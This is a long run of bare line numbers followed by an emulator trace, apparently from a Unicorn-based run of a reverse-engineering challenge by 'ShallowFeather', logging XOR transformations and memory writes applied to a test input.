2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017
5018
5019
5020
5021
5022
5023
5024
5025
5026
5027
5028
5029
5030
5031
5032
5033
5034
5035
5036
5037
5038
5039
5040
5041
5042
5043
5044
5045
5046
5047
5048
5049
5050
5051
5052
5053
5054
5055
5056
5057
5058
5059
5060
5061
5062
5063
5064
5065
5066
5067
5068
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
5079
5080
5081
5082
5083
5084
5085
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098
5099
5100
5101
5102
5103
5104
5105
5106
5107
5108
5109
5110
5111
5112
5113
5114
5115
5116
5117
5118
5119
5120
5121
5122
5123
5124
5125
5126
5127
5128
5129
5130
5131
5132
5133
5134
5135
5136
5137
5138
5139
5140
5141
5142
5143
5144
5145
5146
5147
5148
5149
5150
5151
5152
5153
5154
5155
5156
5157
5158
5159
5160
5161
5162
5163
5164
5165
5166
5167
5168
5169
5170
5171
5172
5173
5174
5175
5176
5177
5178
5179
5180
5181
5182
5183
5184
5185
5186
5187
5188
5189
5190
5191
5192
5193
5194
5195
5196
5197
5198
5199
5200
5201
5202
5203
5204
5205
5206
5207
5208
5209
5210
5211
5212
5213
5214
5215
5216
5217
5218
5219
5220
5221
5222
5223
5224
5225
5226
5227
5228
5229
5230
5231
5232
5233
5234
5235
5236
5237
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247
5248
5249
5250
5251
5252
5253
5254
5255
5256
5257
5258
5259
5260
5261
5262
5263
5264
5265
5266
5267
5268
5269
5270
5271
5272
5273
5274
5275
5276
5277
5278
5279
5280
5281
5282
5283
5284
5285
5286
5287
5288
5289
5290
5291
5292
5293
5294
5295
5296
5297
5298
5299
5300
5301
5302
5303
5304
5305
5306
5307
5308
5309
5310
5311
5312
5313
5314
5315
5316
5317
5318
5319
5320
5321
5322
5323
5324
5325
5326
5327
5328
5329
5330
5331
5332
5333
5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
Unicorn CHAL By:ShallowFeather
Enter the flag: --- Starting emulation ---
[HOOK MOV] @0x010013fc: mov esi, 0x28
[XOR @0x1001410] MEM[0x2003f20] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01001416: cmp esi, 0x51
[XOR @0x1001410] MEM[0x2003f21] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1001410] MEM[0x2003f22] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x33
[XOR @0x1001410] MEM[0x2003f23] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1001410] MEM[0x2003f24] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1001410] MEM[0x2003f25] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x33
[XOR @0x1001410] MEM[0x2003f26] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1001410] MEM[0x2003f27] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1001410] MEM[0x2003f28] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1001410] MEM[0x2003f29] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1001410] MEM[0x2003f2a] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x03
[XOR @0x1001410] MEM[0x2003f2b] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2b ← 0x01
[XOR @0x1001410] MEM[0x2003f2c] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1001410] MEM[0x2003f2d] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2d ← 0x03
[XOR @0x1001410] MEM[0x2003f2e] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1001410] MEM[0x2003f2f] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1001410] MEM[0x2003f30] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x30
[XOR @0x1001410] MEM[0x2003f31] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x30
[XOR @0x1001410] MEM[0x2003f32] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x30
[XOR @0x1001410] MEM[0x2003f33] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x30
[XOR @0x1001410] MEM[0x2003f34] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x30
[XOR @0x1001410] MEM[0x2003f35] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f35 ← 0x30
[XOR @0x1001410] MEM[0x2003f36] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x30
[XOR @0x1001410] MEM[0x2003f37] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x30
[XOR @0x1001410] MEM[0x2003f38] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f38 ← 0x30
[XOR @0x1001410] MEM[0x2003f39] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f39 ← 0x30
[XOR @0x1001410] MEM[0x2003f3a] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3a ← 0x30
[XOR @0x1001410] MEM[0x2003f3b] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3b ← 0x30
[XOR @0x1001410] MEM[0x2003f3c] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1001410] MEM[0x2003f3d] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3d ← 0x30
[XOR @0x1001410] MEM[0x2003f3e] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x30
[XOR @0x1001410] MEM[0x2003f3f] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3f ← 0x30
[XOR @0x1001410] MEM[0x2003f40] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f40 ← 0x30
[XOR @0x1001410] MEM[0x2003f41] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f41 ← 0x30
[XOR @0x1001410] MEM[0x2003f42] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f42 ← 0x30
[XOR @0x1001410] MEM[0x2003f43] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f43 ← 0x30
[XOR @0x1001410] MEM[0x2003f44] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f44 ← 0x30
[XOR @0x1001410] MEM[0x2003f45] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f45 ← 0x30
[XOR @0x1001410] MEM[0x2003f46] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f46 ← 0x30
[XOR @0x1001410] MEM[0x2003f47] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f47 ← 0x30
[XOR @0x1001410] MEM[0x2003f48] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f48 ← 0x30
[STATE] ESI ← 0x61
[HOOK MOV] @0x01001427: mov esi, 0x20
[XOR @0x100143d] MEM[0x2003f20] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x01001443: cmp esi, 0x41
[XOR @0x100143d] MEM[0x2003f21] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x02
[XOR @0x100143d] MEM[0x2003f22] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x03
[XOR @0x100143d] MEM[0x2003f23] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x01
[XOR @0x100143d] MEM[0x2003f24] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x02
[XOR @0x100143d] MEM[0x2003f25] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100143d] MEM[0x2003f26] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x01
[XOR @0x100143d] MEM[0x2003f27] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x33
[XOR @0x100143d] MEM[0x2003f28] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x31
[XOR @0x100143d] MEM[0x2003f29] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x02
[XOR @0x100143d] MEM[0x2003f2a] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x03
[XOR @0x100143d] MEM[0x2003f2b] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x01
[XOR @0x100143d] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x100143d] MEM[0x2003f2d] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x03
[XOR @0x100143d] MEM[0x2003f2e] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x30
[XOR @0x100143d] MEM[0x2003f2f] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x31
[XOR @0x100143d] MEM[0x2003f30] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x32
[XOR @0x100143d] MEM[0x2003f31] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f31 ← 0x33
[XOR @0x100143d] MEM[0x2003f32] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f32 ← 0x31
[XOR @0x100143d] MEM[0x2003f33] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x32
[XOR @0x100143d] MEM[0x2003f34] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f34 ← 0x33
[XOR @0x100143d] MEM[0x2003f35] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x31
[XOR @0x100143d] MEM[0x2003f36] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f36 ← 0x03
[XOR @0x100143d] MEM[0x2003f37] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f37 ← 0x01
[XOR @0x100143d] MEM[0x2003f38] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f38 ← 0x32
[XOR @0x100143d] MEM[0x2003f39] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f39 ← 0x33
[XOR @0x100143d] MEM[0x2003f3a] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f3a ← 0x31
[XOR @0x100143d] MEM[0x2003f3b] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f3b ← 0x32
[XOR @0x100143d] MEM[0x2003f3c] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f3c ← 0x33
[XOR @0x100143d] MEM[0x2003f3d] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f3d ← 0x00
[XOR @0x100143d] MEM[0x2003f3e] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f3e ← 0x01
[XOR @0x100143d] MEM[0x2003f3f] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f3f ← 0x02
[XOR @0x100143d] MEM[0x2003f40] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f40 ← 0x03
[STATE] ESI ← 0x10
[HOOK MOV] @0x01000a7f: mov esi, 0x18
[XOR @0x1000a93] MEM[0x2003f20] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x01000a99: cmp esi, 0x31
[XOR @0x1000a93] MEM[0x2003f21] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x31
